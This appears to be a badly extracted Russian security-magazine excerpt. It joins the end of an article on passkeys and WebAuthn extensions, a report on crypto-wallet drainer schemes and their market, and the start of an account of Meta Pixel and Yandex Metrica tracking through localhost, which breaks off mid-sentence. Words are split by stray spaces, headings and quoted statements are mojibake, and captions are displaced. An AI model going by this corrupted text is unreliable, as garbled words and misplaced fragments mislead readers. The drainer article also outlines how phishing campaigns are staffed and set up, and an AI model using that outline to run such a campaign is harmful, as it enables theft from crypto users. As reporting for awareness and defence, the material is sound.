ширения) при соз дании клю чей или вхо де в акка унт. Если бра узер и аутен -
тифика тор под держи вают нуж ные рас ширения — они их при менят. Если
нет — прос то про игно риру ют, и все будет работать как обыч но.

В спе цифи кации WebAuthn перечис лены стан дар тные рас ширения, а за
допол нитель ными мож но обра тить ся к спе циаль ному реес тру IANA. Рас -
ширения быва ют раз ные: одни нуж ны для сов мести мос ти со ста рыми сис -
темами, дру гие добав ляют новые крип товоз можнос ти. Мы погово рим имен но
про вто рую груп пу.

Ïñåâäîðàíäîìíàÿ ôóíêöèÿ (PRF)
Од на из таких фич — это PRF. Она соз дана на базе рас ширения ,
как написа но в FIDO CTAP v2.1. С помощью рас ширения PRF твой аутен -
тифика тор может рас счи тывать HMAC-SHA-256, исполь зуя фик сирован ный,
слу чай но сге нери рован ный 32-бай товый ключ HMAC. Для это го он берет хеш
SHA-256 от заранее опре делен ного пре фик са WebAuthn и добав ляет вход ные
дан ные с сай та.

hmac-secret

Хо тя эта фича недос таточ но гиб кая, что бы раз вернуть что-то вро де HKDF
(HMAC-based Key Derivation Function), ее мож но исполь зовать, что бы реали -
зовать HKDF Extract — получе ние стой кого клю ча из нес табиль ного источни -
ка.

Large Blob
Еще одно такое рас ширение называ ется Large Blob и поз воля ет аутен тифика -
торам хра нить блоб неп розрач ных дан ных, которые сайт спо собен читать
или записы вать во вре мя про вер ки под линнос ти. Сайт  исполь зовать
это для хра нения любых (в том чис ле чувс тви тель ных) дан ных, таких как сер -
тифика ты или крип тогра фичес кие клю чи.

мо жет

ÏÎÒÅÍÖÈÀËÜÍÛÅ ÏÐÎÁËÅÌÛ

Дос тичь истинной сквоз ной безопас ности в бра узе ре край не слож но,
а зачас тую невоз можно. Ведь веб-крип тогра фия работа ет на JavaScript,
который заг ружа ется с сер вера, и это зна чит, что зло наме рен ный сер вер
может отпра вить вре донос ный JavaScript, который вытас кива ет клю чи,
отправ ляет рас шифро ван ные сооб щения обратно сер веру и так далее.

Еще хуже, зло наме рен ный сер вер может отправ лять кор рек тный JavaScript
боль шинс тву поль зовате лей, а вре донос ный — кон крет ной целевой жер тве.
Внед рение механиз ма целос тнос ти для кода в интерне те (нап ример, хра -
нение хеша всех опуб ликован ных вер сий у доверен ной треть ей сто роны)
и тех ники  (нап ример, пуб лично про веря -
емый, с видимостью попыток под делки лог) — два мно гообе щающих
решения этой проб лемы.

проз рачнос ти бинар ных фай лов

За меть, спе цифи кация говорит, что все рас ширения опци ональ ны. Зна чит,
нет никакой гаран тии, что бра узе ры и аутен тифика торы их под держи вают.
Поэто му сай ты дол жны про верять, дос тупны ли нуж ные рас ширения, ина че
юзе ры стол кнут ся с проб лемами при дос тупе к сер висам. Наде емся,
в будущем все основные бра узе ры и аутен тифика торы добавят эту фичу.

Спе цифи кация активно раз вива ется, и на горизон те куча кру тых рас -
ширений. Сре ди воз можных фич — новые крип тогра фичес кие при мити вы,
такие как прод винутые схе мы циф ровых под писей или доказа тель ства
с нулевым раз гла шени ем. Зас лужива ют вни мания и  —
механизм, защища ющий зашиф рован ные фай лы в обла ке или на внеш нем
хра нили ще от отка та к прош лым сос тояниям.

мо нотон ные счет чики

ÂÛÂÎÄÛ

Сей час самое вре мя перехо дить на passkeys. Их крип тогра фичес кая осно ва
дает хорошие гаран тии безопас ности, так что это отличный выбор для сов -
ремен ных сис тем аутен тифика ции — естес твен но, при пра виль ной реали -
зации с исполь зовани ем WebAuthn.

Ко неч но, это не панацея, но passkeys сни мают кучу серь езных проб лем,
от которых пароли стра дали годами: они не переда ют на сер веры кон фиден -
циаль ную информа цию, их не получит ся пере исполь зовать на раз ных сай тах,
да и от фишин га защища ют бла года ря при вяз ке к домену.

Как поль зователь — перехо ди на клю чи дос тупа и осва ивай новый стан -
дарт. Аппа рат ные клю чи безопас ности — твое луч шее ору жие для защиты
осо бо цен ных при ложе ний. Аутен тифика торы на устрой стве — это удоб но,
и есть воз можность делать бэкапы. Ког да вхо дишь с ненадеж ных устрой ств,
исполь зуй клю чи дос тупа с дру гого устрой ства, которое име ет свой дис плей,
что бы кон тро лиро вать зап росы на авто риза цию.

Ес ли ты раз работ чик, обес печь под дер жку клю чей дос тупа по мак симуму.
Не забудь под готовить механиз мы вос ста нов ления акка унта, так как при уте -
ре passkeys невоз можно вер нуть. Даже встро енные аутен тифика торы с фун -
кци ей резер вно го копиро вания несут опре делен ные рис ки, о которых нуж но
знать.

Passkeys могут быть и пер вым фак тором аутен тифика ции, и , и даже
нес коль кими сра зу. Но раз работ чикам сто ит учи тывать их в рам ках общей 

.

вто рым
мо -

дели угроз
Что бы защитить ся от зло наме рен ных сер веров, нап ример в при ложе ниях

с E2EE, внед ряй методы целос тнос ти под ресур сов и проз рачнос ти исполня -
емых фай лов. WebAuthn не сто ит на мес те — новые рас ширения откры вают
боль ше крип тогра фичес ких воз можнос тей, но учти: под дер жка может отли -
чать ся в раз ных бра узе рах и аутен тифика торах.
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https://w3c.github.io/webauthn/#reg-ceremony-assess-trust
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ПРИВАТНОСТЬ

Дрей неры — новый зах лес тнув ший мир
крип товалют вид фишин га. Он рас тет удар -
ными тем пами и уже обо шел ран сомварь
по рас простра нен ности и объ емам укра -
ден ного. Я попытал ся разоб рать ся в осо -
бен ностях работы дрей неров, а так же
устрой стве вырос шего вок руг них рын ка.
Об этом сегод ня и погово рим.

Глав ная цель ата кующе го в любой фишин говой кам пании — это под ловить
поль зовате ля на ошиб ке, сде лать так, что бы тот выдал информа цию, которую
выдавать пос торон ним не дол жен. В слу чае с дрей нерами — зас тавить поль -
зовате ля дать смарт-кон трак ту раз решение вза имо дей ство вать со сво ими
средс тва ми.

В основном дрей неры нап равле ны на работу
с блок чей нами со смарт-кон трак тами и ата куют
поль зовате лей Ethereum-подоб ных сетей: самого
Ethereum, Base, Polygon, Optimism и про чих.
Но встре чают ся дрей неры для Solana, а недав но
появил ся и дрей нер, ори енти рован ный на Bitcoin.

Пред ставь, что ты хочешь под клю чить свой кошелек MetaMask на сай те
какого-то про екта, что бы получить нем ного крип ты. Ска жем, ты хочешь при -
обрести новый токен, пока он дешев. Ты нажима ешь кноп ку Connect, вво дишь
свой пароль и под писыва ешь тран закцию — апрув на дос туп к кошель ку.

Тут-то тебя и ловит дрей нер: дела ет так, что бы вмес то легитим ного кон -
трак та на получе ние токенов ты под писал вре донос ный смарт-кон тракт и тем
самым дал раз решение на тран сфер всех сво их средств. Получа ется, ты сам
сог лаша ешь ся отдать все свои день ги!

Как так может получить ся? Луч ше все го это работа ет на эйрдро пах — раз -
дачах новых токенов. На них сле тает ся мно жес тво жела ющих получить нем -
ного крип ты, которая потом может вырас ти в цене в десят ки раз. Такие раз -
дачи дей стви тель но иног да устра ивают, что бы про качать тот или иной новый
токен. В этот момент поль зовате ля гонит то, что называ ется FOMO, — чувс -
тво, что он может упус тить выгоду.

Че ловек в спеш ке может не про верить, кем соз дана стра ница, с которой
он вза имо дей ству ет, и что кон крет но дела ет смарт-кон тракт, раз решение
которо му он выда ет. Сайт же при этом может быть пол ностью ско пиро ван
зло умыш ленни ком с нас тояще го, а смарт-кон тракт — забирать день ги вмес то
того, что бы их давать.

ÄÐÅÉÍÅÐÛ ÍÀÁÈÐÀÞÒ ÎÁÎÐÎÒ

В 2024 году слу чилось инте рес ное событие: дрей неры обог нали по тем пам
рас простра нения и выруч ке обыч ные шиф роваль щики. Ран сомварь, конеч но,
про дол жает быть бичом круп ного биз неса, но ска меры устре мились в новые,
пока не занятые ниши.

Са мые пер вые дрей неры рас простра нялись в качес тве скрип тов на дар -
кнет-пло щад ках. По дан ным «Лабора тории Кас пер ско го», в 2022 году
было 55 уни каль ных форумов, на которых встре чались дрей неры. В 2024 году
таких мес течек было уже 129. То есть рост более чем в два раза за два года.

Рост уни каль ных дар кнет-форумов с темами про дрей неры

И это толь ко для такого спе цифи чес кого и пус товато го, по сути, мес та,
как дар квеб. В основном все вза имо дей ствие сей час про исхо дит в Telegram
и Discord.

Са мые круп ные дрей неры, которые были активны в 2024 году, — это Angel,
Inferno, Ping, Ace, Cerberus, Nova, Medusa, MS, CryptoGrab и Venom. Из них
сей час активны в основном Angel и Ace, но зато появил ся новый игрок —
Vanilla. Пока он не очень иссле дован, пос коль ку работа ет по при ват ной
модели: получить дос туп к нему рядово му ска меру тяжело.

По дан ным ком пании Scam Sniffer, которая занима ется ана лизом видов
мошен ничес тва в крип товалю тах, за 2024 год общие потери от дрей неров
сос тавили 494 мил лиона дол ларов.

И это толь ко круп ные кей сы взло мов, которые уда лось пос читать! Пос коль ку
дрей неры нап равле ны на обыч ных поль зовате лей, малень кие кра жи вро де
нес коль ких тысяч дол ларов в эту ста тис тику даже не попада ют. Так что
это лишь ниж няя гра ница.

Сре ди боль ших ком паний в 2024 году — более 330 тысяч жертв. Рекор -
дная кра жа за тот год — 55 мил лионов дол ларов. Все го круп ных мошен ничес -
ких кам паний было око ло 30 — в пол тора раза боль ше, чем в 2023 году.

В пер вом квар тале 2024 года дрей неры показа ли рост поч ти в шесть раз.
В то же вре мя рынок ран сомва ри уве личил ся толь ко вдвое.

Тем пы рос та дрей неров по количес тву укра ден ных средств в срав нении
с ран сомварью

Что озна чают эти циф ры? Из-за прос тоты вхо да в эту индус трию сюда
устрем ляют ся мошен ники, которые занима лись фишин гом по email, замани -
вая на под дель ные стра ницы бан ков, и про мыш ляли про чими тра дици онны ми
видами ска ма.

Нап равив свои навыки на крип товалют чиков, они смог ли получить безум -
ные про фиты. Даже рядовой работя га здесь может «зараба тывать»
от 100 тысяч дол ларов.

Ка жет ся, что пара месяцев такого тру да могут обес печить квар тирой,
машиной и регуляр ным отпуском в Таилан де. Разок рис кнул, и мож но
выходить из игры! Но, конеч но, почувс тво вав вкус наживы, ник то через два
месяца из это го биз неса не ухо дит.

ÏÎ×ÅÌÓ ÝÒÎ ÏÐÎÑÒÎ

Ес ли ран сомварь нацеле на в пер вую оче редь на ком пании, то дрей неры ата -
куют прос тых поль зовате лей и потен циаль но могут дотянуть ся до любого, кто
вза имо дей ству ет с крип товалю тами.

Дрей неры ста ли очень популяр ными имен но из-за широко го охва та
и прос тоты перехо да в эту область. Плюс ска зыва ется, что в крип те вер тятся
серь езные день ги и поль зовате ли при вык ли ими лег ко рас поряжать ся.

Ран сомвар щику при ходит ся свя зывать ся с ком пани ей, тор говать ся, орга -
низо вывать переда чу денег и рас шифров ку — это доволь но мно го мороки.
Дрей нер же кра дет день ги сра зу.

Как и мно гие дру гие виды ска ма, дрей неры рас простра няют ся по модели
SaaS — Software-as-a-Service. Их даже называ ют DaaS, то есть Drainer-as-a-
Service.

Про исхо дит и харак терное раз деление работы. Есть раз работ чики (те, кто
дела ет мал варь) и вор керы (рядовые работ ники), а так же рек рутеры, спе -
циалис ты по нагону тра фика и пос тавщи ки самых раз ных сопутс тву ющих
услуг.

Глав ную задачу, конеч но, выпол няют раз работ чики: они соз дают вре -
донос ное ПО, дела ют его более удоб ным для исполь зования, лег ким в раз -
верты вании и мас шта биро вании. В целом, если отвлечь ся от кри миналь ной
сущ ности, это обыч ный ИТ-про дукт.

ÊÀÊ ÑÎÇÄÀÅÒÑß ÊÀÌÏÀÍÈß

Что дела ет зло умыш ленник, что бы такое про вер нуть? Вот что ему нуж но, что -
бы устро ить фишин говую кам панию:

до мены для будущих сай тов, похожие по написа нию на наз вание копиру -
емо го про екта;

•

хос тинг — мес то, где будет помещен сайт;•
лен динг — стра ница, похожая на легитим ный про ект;•
код дрей нера (как пра вило, это JS-код, который будет хра нить ся на сай те);•
па нель управле ния, которая поз волит знать, сколь ко поль зовате лей уда -
лось заманить на стра ницу, и отсле живать их поведе ние;

•

средс тва собс твен ной безопас ности: VPN, Proxy, SockPuppet-акка унты.•

Про фес сиональ ные зло умыш ленни ки обыч но ста вят пол ноцен ный C&C-сер -
вер, поз воля ющий кон тро лиро вать поведе ние дрей нера.

Ос тает ся толь ко при вес ти людей. Этим занима ются спе циалис ты
по арбитра жу тра фика, они же тра фико воды. Их задача — нап равить поль -
зовате лей на фишин говую стра ницу. Дела ется это по-раз ному: от рек ламы
в Google до непос редс твен ного вза имо дей ствия с самими поль зовате -
лями — в ком мента риях и пос тах. Быва ет, что мошен ники даже кло ниру ют
офи циаль ные каналы под дер жки легитим ных про ектов.

В резуль тате у зло умыш ленни ков получа ется самая нас тоящая ворон ка
про даж — выс тра ивает ся путь, который про ходят жер твы.

20–30% укра ден ного получа ют опе рато ры, осталь ное — вор керы, те, кто
непос редс твен но ска мит людей. От ква лифи кации вор керов зависит их при -
быль. Начина ющие отда ют 30%, самые опыт ные — 10–15%.

Ква лифи кация вор кера оце нива ется по тому, сколь ко он уже украл. В пре -
делах 10 тысяч дол ларов — начина ющий, в пре делах 25–50 тысяч — мидл,
от 100 тысяч (обыч но мил лион и боль ше) — про фес сионал.

ÍÀÃÎÍ ÒÐÀÔÈÊÀ

Зна ния в сре де вор керов рас простра няют ся через тутори алы. Тутори ал —
это пред мет покуп ки, про дажи и обме на. Ради дос тупа к тутори алам соз дают -
ся сооб щес тва.

Мне уда лось най ти нес коль ко таких тутори алов. Занят ный момент: по тек -
сту хорошо вид но, что при написа нии не обош лось без ней росетей.

В целом здесь при меня ется та же схе ма при вода тра фика, что и в обыч -
ном фишин ге, — прос то с некото рой поп равкой на крип товалю ты.

Вор кер, по сути, выпол няет ту же работу, что и любой спе циалист по рек -
ламе в сети. Его цель — уве личить чис ло людей, перехо дящих на фишин говые
стра ницы. Для это го нуж но искать поль зовате лей, которые инте ресу ются про -
екта ми в области Web3 и DeFi, име ют крип токошель ки и заин тересо ваны
в эйрдро пах, сво пах (обме нах токена ми) и обменни ках.

В ход идет демог рафичес кий ана лиз, ана лиз геоло каций, то есть, по сути,
обыч ный, зна комый всем рек ламщи кам тар гетинг. Так же вор керы занима ются
«дизай ном сай тов» — кло ниро вани ем стра ниц сущес тву ющих про ектов.
Даль ше в ход идут даже такие при емы из мар кетин га, как А/Б-тес тирова ние.

Да вай теперь прой дем ся по гром ким при мерам уво да средств дрей -
нерами.

ÀÒÀÊÀ ÍÀ ARKHAM INTELLIGENCE

Ком пания Arkham занима ется пре дос тавле нием ана лити ки на блок чей не.
Это популяр ный инс тру мент, который поз воля ет отсле живать тран закции.
Нап ример, его исполь зуют трей деры, что бы знать, сколь ко сто ит актив и где
он тор гует ся.

В 2023 году вла дель цы Arkham выпус тили свой токен и запус тили эйрдроп
монет. Одна ко зло умыш ленни ки соз дали мно жес тво под дель ных про филей
в X.com, что бы перенап равить поль зовате лей на фишин говые стра ницы
с дрей нером.

Бо ты были живучие и подол гу не попада ли под бло киров ки. Они изоб -
ражали активность Arkham и рас простра няли вре донос ные ссыл ки.

Стра ница по этим ссыл кам была неот личима от сай та Arkham, с той раз -
ницей, что на под дель ном сай те не работа ла ни одна кноп ка, за исклю чени ем
Wallet Connect — под клю чения кошель ка.

Ис сле дова ние показа ло, что при ата ке исполь зовал ся Angel Drainer.
Занят ный момент: в нас трой ках кли ент ско го JS-кода содер жалась строч ка
«Angel Drainer is the best».

Та ких под дель ных сай тов соз давалось огромное количес тво, срок их жиз -
ни — недели, мак симум — месяцы. ПО Angel поз воля ет быс тро копиро вать
лен динги и раз мещать их на новых доменах. Про цесс упро щен нас толь ко, что
вор керу для раз верты вания нового сай та дос таточ но ввес ти все го нес коль ко
команд в диало ге с ботом в Telegram.

ÀÒÀÊÀ ÍÀ SEC

Еще боль шего мас шта ба мож но добить ся, зах ватив нас тоящий акка унт
какой-то авто ритет ной ком пании или даже государс твен ной орга низа ции.

При мер — исто рия, которая про изош ла с аме рикан ской Комис сией
по цен ным бумагам и бир жам (SEC). 9 янва ря 2024 года ее акка унт в X.com

 при помощи сим-сво пин га — перевы пус ка сим-кар ты, к номеру
которой был при вязан акка унт. Чинов ники, позабыв про безопас ность,
не вклю чили на акка унте мно гофак торную аутен тифика цию.

зах ватили

В пос леднее вре мя сооб щес тва сим-сво перов
и дрей неров силь но сбли зились. Сво перы мас -
сово пре дос тавля ют дрей нерам угнанные акка -
унты.

Зло умыш ленни ки опуб ликова ли пост о том, что SEC офи циаль но раз реша ет
инвести ровать в Bitcoin без покуп ки крип ты нап рямую на бир же вро де
Binance или Coinbase.

Это выз вало ажи отаж, потому что инвесто ры дав но жда ли такого решения
от SEC и рас счи тыва ли, что оно будет при нято бук валь но на днях. Сле дом
хакеры при зыва ли получить офи циаль ный эйрдроп от SEC — на спе циаль ном
сай те, который содер жал дрей нер.

При меча тель но, что пуб ликация даже выз вала ска чок кур са Bitcoin — он
под нялся на тысячу дол ларов.

ÀÒÀÊÀ ÍÀ LOTTIE-PLAYER

Бы вает, что дрей неры рас простра няют ся не как прос той фишинг, а в резуль -
тате хакер ской ата ки. В качес тве при мера мож но вспом нить исто рию с Lottie-
Player. Это клас сичес кая supply-chain-ата ка, которую час то про вора чива ют
хакеры.

В дан ном слу чае  пла гин отри сов ки гра фики Lottie-Player. Его
час то под клю чают на сай тах про ектов Web3, что бы делать ани мацию
при помощи JavaScript.

был ата кован

За ражен ными ока зались вер сии Lottie-Player вер сий с 2.0.5 по 2.0.7.
В код, опуб ликован ный в NPM, был встро ен бэк дор, который при помощи
спе циаль но сфор мирован ного JSON поз волял внед рять на легитим ные сай ты
Ace Drainer.

Про вер нуть это получи лось в резуль тате взло ма акка унта стар шего раз работ -
чика Lottie-Player на GitHub. Ата кующие выкати ли три ском про мети рован ных
обновле ния все го за три часа.

В ито ге на сай ты, где поль зовате лям пред лага ется под клю чить кошелек
вро де Trust Wallet или MetaMask, был внед рен код Ace Drainer, который вмес то
кон некта к плат форме вымани вал раз решение на перевод всех средств.

Од ной из основных жертв ста ла Web3-плат форма 1inch, одна ко ее вла -
дель цы заяви ли, что в резуль тате ата ки пос тра дало толь ко децен тра лизо ван -
ное при ложе ние (DAPP), тог да как при ложе ние Wallet оста лось нет ронутым.

По сути, здесь хакер монети зиро вал свою работу по взло му акка унта жер -
твы, купив и внед рив Ace Drainer (на что у обыч ных вор керов, конеч но, не хва -
тило бы ума).

ÑÊÀÌ ÑÊÀÌÀ

Ска меры не были бы ска мера ми, если бы не ска мили и друг дру га тоже.
Однажды раз работ чик дрей нера Pink Drainer почувс тво вал, что деанон близ -
ко, и решил вый ти из игры и вывес ти наг раблен ное.

Прос то так про дать крип ту, получен ную в резуль тате ска ма, нель зя. Что бы
вывес ти средс тва, мошен нику сна чала нуж но их отмыть, ина че обменник
может заподоз рить нелад ное и заморо зить день ги у себя.

Что бы не поз волять спон сировать тер роризм
и нарушать закон, обменни ки исполь зуют ско ринг
и не при нима ют «гряз ную» крип ту. Это называ -
ется AML-score (anti-money-laundering).

Су щес тву ет мно жес тво спо собов отмы ва, и в резуль тате исполь зования
одно го из них Pink Drainer сам попал ся на скам.

Он стол кнул ся с прос тей шим видом мошен ничес тва, который называ ется
address poisoning. Это неверо ятно тупой вид ата ки, но, как видишь, тоже
рабочий.

Зло умыш ленни ки генери руют крип товалют ные адре са, похожие на адрес
жер твы, и отправ ляют ей минималь ную сум му, что бы адрес появил ся в исто -
рии тран закции.

Для поль зовате ля этот выг лядит так: ты отправ ляешь, ска жем, 100 дол -
ларов на какой-то дру гой кошелек (нап ример, в обменник), а через 5–
10 минут тебе при ходит нес коль ко кро шеч ных перево дов вро де бы с того же
самого кошель ка, но в реаль нос ти лишь с похожим адре сом — нап ример,
иден тичным началом и кон цом.

Рас чет на то, что при сле дующем перево де жер тва прос то выберет пос -
ледний адрес из исто рии и отпра вит день ги не себе, а зло умыш ленни ку.

На этом и попал ся Pink Drainer — выб рал пос леднюю тран закцию и отпра -
вил 10 ETH (в тот момент око ло 15 тысяч дол ларов) какому-то неиз вес тно му
сорат нику.

ÇÀÊËÞ×ÅÍÈÅ

Из-за прос тоты и популяр ности дрей нин га этот вид ска ма будет встре чать ся
и даль ше. При этом виды и спо собы раз мещения вре донос ной наг рузки будут
усложнять ся.

Дрей неры все чаще ори енти руют ся на молодые блок чей ны. В сетях
на осно ве Ethereum дей ство вать все слож нее, там появ ляют ся средс тва
защиты, которые при ходит ся обхо дить. В той же Solana подоб ных защит пока
нет.

Бу дут появ лять ся и новые виды дрей неров — некото рые ска меры уже
начали делать вмес то сай тов при ложе ния для Google Play и App Store.

Так что будь бди телен и думай дваж ды, преж де чем нажимать любые кноп -
ки!

mailto:Pr0xyFac3@proton.me
https://xakep.ru/2024/01/10/sec-x-hacked/
https://xakep.ru/2024/11/02/lottiefiles-supply-chain-attack/


ПРИВАТНОСТЬ

Ис сле дова тели выяс нили, что код, который Meta и «Яндекс»
ста вят на мил лионы сай тов, устра ивает деанон юзе ров, хит -
ро исполь зуя легитим ные про токо лы. Chrome и дру гие бра -
узе ры вти харя шлют уни каль ные иден тифика торы натив ным
при ложе ниям на устрой стве. В этой статье — под робный
раз бор того, как это работа ет.

Это близ кий к тек сту перес каз статьи «
» с сай та Ars Technica. Ее автор — 

.

Meta and Yandex are de-anonymizing
Android users’ web browsing identiers Дэн
Гудин

В рас сле дова нии учас тво вали:
Ани кет Гириш, аспи рант в IMDEA Networks;•
Гю неш Акар, доцент груп пы циф ровой безопас ности и iHub в Уни вер -
ситете Рад бауд;

•

Нар сео Вал лина-Род ригес, доцент IMDEA Networks;•
Ни пуна Вирасе кара, аспи рант IMDEA Networks;•
Тим Влу менс, аспи рант в COSIC, Лёвен ский католи чес кий уни вер ситет.•

Де ятель ность ком пании Meta Platforms приз нана экс тре мист ской и зап -
рещена в Рос сии.

Facebook при над лежит ком пании Meta, деятель ность которой приз нана
экс тре мист ской и зап рещена на тер ритории РФ.

 изо лиру ет про цес сы, что бы те не вза имо дей ство вали
с ОС или дру гими при ложе ниями на устрой стве, отре зая дос туп к важ ным
дан ным и сис темным ресур сам. Меры защиты, такие как 

 и , встро енные во все основные бра узе ры, кон -
тей неризу ют дан ные сай тов, защищая от покуше ний со сто роны дру гих сай -
тов. Одна ко это уда лось обой ти.

Пе соч ница Android

раз деление сос -
тояния раз деление хра нения

Скры тое отсле жива ние через тре керы  и « » поз -
воля ет Meta и «Яндексу» обхо дить основные механиз мы безопас ности и кон -
фиден циаль нос ти как Android, так и бра узе ров для этой ОС.

Meta Pixel Ян декс Мет рики

ÏÐÎÐÛÂ

«Один из основных прин ципов безопас ности в вебе и мобиль ных сис темах
называ ется песоч ницей, — объ ясня ет в интервью Нар сео Вал лина-Род ригес,
один из иссле дова телей, нашед ших проб лему. — Ты запус каешь все в песоч -
нице, и меж ду раз ными эле мен тами вза имо дей ствия нет. Одна ко эта уяз -
вимость поз воля ет обой ти песоч ницу, которая отде ляет мобиль ный кон текст
от веб-кон тек ста. Этот канал дает воз можность переда вать информа цию
о том, что про исхо дит в бра узе ре, в мобиль ное при ложе ние».

Бай пас, который в «Яндексе» запус тили еще в 2017 году, а в Meta под хва -
тили прош лой осенью, поз воля ет ком пани ям про киды вать cookie и дру гие
иден тифика торы из бра узе ров на базе Firefox и Chromium в натив ные Android-
при ложе ния Facebook, Instagram и раз ные при ложе ния «Яндекса». В резуль -
тате всю твою исто рию в бра узе ре мож но свя зать с учет кой, под которой ты
залоги нен в при ложе нии.

За мече но такое пока толь ко на Android. Иссле дова тели говорят, что
теоре тичес ки схо жим методом мож но ата ковать и iOS. Ведь бра узе ры на этой
плат форме поз воля ют раз работ чикам прог рам мно уста нав ливать соеди -
нения с localhost, а при ложе ния — отсле живать такие под клю чения.

В отли чие от iOS, Android дает боль ше воз можнос тей для локаль ных ком -
муника ций и фоновой работы про цес сов мобиль ных при ложе ний. Meta Pixel
и «Яндекс Мет рика» без тру да могут отправ лять веб-зап росы с иден тифика -
тора ми для веб-тре кин га на локаль ные пор ты, которые пос тоян но отсле жива -
ются при ложе ниями Facebook, Instagram и «Яндекса». В ито ге эти при ложе ния
могут свя зывать веб-айден тити с реаль ными поль зователь ски ми дан ными,
даже если ты сидишь в при ват ном режиме.

В Google Play сей час ужес точили пра вила для заг -
ружа емых в магазин при ложе ний — как раз что бы
пре секать такое.

Meta Pixel и «Яндекс Мет рика» — это ана лити чес кие скрип ты, соз данные, что -
бы помочь рек ламода телям. Meta Pixel уста нов лен при мер но на 

 сай тов, а «Яндекс Мет рика» — на  ресур сов.
шес ти мил -

лионах трех мил лионах
Meta и «Яндекс» умуд рились обой ти огра ниче ния, исполь зуя базовую воз -

можность сов ремен ных мобиль ных бра узе ров — обще ние с натив ными при -
ложе ниями. Эта шту ка поз воля ет бра узе рам отправ лять веб-зап росы
на локаль ные пор ты Android, что бы, нап ример, соз давать соеди нения через
про токол RTC, шей рить фай лы и отла живать при ложе ния.

Вот кон цепту аль ная схе ма, где вид но, как веб-тре керы, работа ющие в бра -
узе ре, обме нива ются иден тифика тора ми с натив ными при ложе ниями
Facebook, Instagram и «Яндекс» для Android.

Хо тя тех ничес кие детали раз лича ются, Meta Pixel и «Яндекс Мет рика»
занима ются сво еоб разным зло упот ребле нием про токо лом, что бы получить
дос туп к  на IP 127.0.0.1, который пре дос тавля ет Android.
Бра узе ры спо кой но обра щают ся к этим пор там без каких-либо уве дом лений
для поль зовате ля. При ложе ния Meta и «Яндекса» тихо слу шают эти пор ты,
в реаль ном вре мени сни мают иден тифика торы и свя зыва ют их с поль зовате -
лем, который залоги нен в при ложе нии.

ло каль ным пор там

Пред ста витель Google заявил, что такое поведе ние наруша ет усло вия
исполь зования плат формы Play и ожи дания поль зовате лей Android в пла не
кон фиден циаль нос ти.

«

»

Ïðîã ðàììèñ òû, êîòîðûõ óïî ìÿíó ëè â ýòîì äîê ëàäå, óìóä ðèëèñü
èñïîëü çîâàòü âîç ìîæíîñ òè áðà óçå ðîâ íà iOS è Android òàê, ÷òî
ýòî ïðîñ òî â êîð íå ïðî òèâî ðå÷èò íàøèì ïðèí öèïàì áåçîïàñ íîñòè
è êîí ôèäåí öèàëü íîñ òè, — çàÿâèë ïðåä ñòà âèòåëü, èìåÿ â âèäó òåõ, êòî
ïèøåò JavaScript äëÿ Meta Pixel è «ßíäåêñ Ìåò ðèêè». — Ìû óæå âíåñ ëè
èçìå íåíèÿ, ÷òî áû ïðå äîò âðà òèòü ïîäîá íûå ìàíåâ ðû. Òàê æå ìû çàïóñ -
òèëè ñâîå ðàñ ñëå äîâà íèå è íàï ðÿìóþ îáùà åìñÿ ñ ïðè ÷àñ òíû ìè ñòî -
ðîíà ìè.

Пред ста витель Meta не стал отве чать на воп росы, но прис лал такое заяв -
ление:

«
»

Ìû âåäåì ïåðåãî âîðû ñ Google, ÷òî áû óëà äèòü íåäîïî íèìà íèå îòíî -
ñèòåëü íî ïðè ìåíå íèÿ èõ ïðà âèë. Êîã äà ìû ïîíÿëè, ÷òî âîç íèêëè âîï -
ðîñû, ðåøèëè ïðè îñòà íîâèòü èñïîëü çîâàíèå ýòîé âîç ìîæíîñ òè, ïîêà
âìåñ òå ñ Google íå ðàç áåðåì ñÿ â ñèòó àöèè.

В пись ме пред ста витель «Яндекса» сооб щил, что в ком пании прек раща ют эту
прак тику и уже работа ют с Google:

«
»

«ßíäåêñ» ñòðî ãî ñîá ëþäà åò ñòàí äàðòû çàùèòû äàí íûõ è íå äåàíî -
íèìè çèðó åò ïîëü çîâàòåëü ñêóþ èíôîðìà öèþ, — îòìå ÷àåò ñÿ â çàÿâ -
ëåíèè. — Ýòà ôóí êöèÿ íå ñîáèðà åò íèêàêîé êîí ôèäåí öèàëü íîé
èíôîðìà öèè è ïðåä íàçíà ÷åíà èñêëþ ÷èòåëü íî äëÿ òîãî, ÷òî áû óëó÷ -
øèòü ïåð ñîíàëè çàöèþ â íàøèõ ïðè ëîæå íèÿõ.

ÊÀÊ ÂÛ×ÈÑËßÞÒ ÏÎËÜÇÎÂÀÒÅËÅÉ ANDROID

Facebook
Раз работ чики Meta Pixel хит ро обхо дили про токо лы, что бы внед рить скры тую
прос лушку, при чем начали они этим занимать ся в сен тябре прош лого года.
Сна чала они зас тавля ли при ложе ния отсы лать HTTP-зап росы на порт 12387.
Но уже через месяц Meta Pixel прек ратил отправ ку этих дан ных, хотя при ложе -
ния Facebook и Instagram не перес тавали монито рить этот порт.

В нояб ре 2024 года Meta Pixel перешел на новень кий метод — с исполь -
зовани ем WebSocket, про токо ла для двус торон него обме на дан ными,
который работал на пор те 12387.

В том же месяце в Meta Pixel внед рили новую фиш ку — исполь зование
. Это пирин говый про токол, который обыч но при меня ют для звон ков

через бра узер.
WebRTC

Тут дело в магии, называ емой : JavaScript поз воля ет менять
дан ные SDP (Session Description Protocol) перед их отправ кой. SDP munging
в исполне нии Meta Pixel под мешива ет содер жимое куки  в поля, которые

обыч но хра нят информа цию о соеди нении.

SDP munging

_fbp

В ито ге бра узер отправ ляет эти дан ные в  на локаль ный хост
Android, где при ложе ние Facebook или Instagram спо кой но счи тыва ет их и свя -
зыва ет с юзе ром.

STUN-зап росе

В мае в бета-вер сии Chrome появи лась защита, бло киру ющая этот тип
модифи кации SDP. Одна ко все го через нес коль ко дней раз работ чики Meta
Pixel обош ли эту защиту, добавив новый метод, который заменял зап росы
STUN зап росами TURN.

Ис сле дова тели дос кональ но показа ли, как устро ена кука , которую сайт

отправ ляет в натив ное при ложе ние. Отту да информа ция уже идет на сер вер
Meta.

_fbp

1. Поль зователь запус кает натив ное при ложе ние Facebook или Instagram,
которое затем отправ ляет ся в фоновый режим и соз дает фоновую служ бу
для прос лушива ния вхо дяще го тра фика на пор те TCP (12387 или 12388)
и на UDP (пер вый сво бод ный в диапа зоне 12580–12585). Для это го юзер
дол жен быть залоги нен в при ложе нии.

2. Да лее юзер откры вает бра узер и заходит на сайт с интегри рован ным Meta
Pixel. На некото рых сай тах перед заг рузкой Meta Pixel тре бует ся сог ласие
поль зовате ля. Но, по нашим дан ным из 100 тысяч стра ниц, лишь мень -
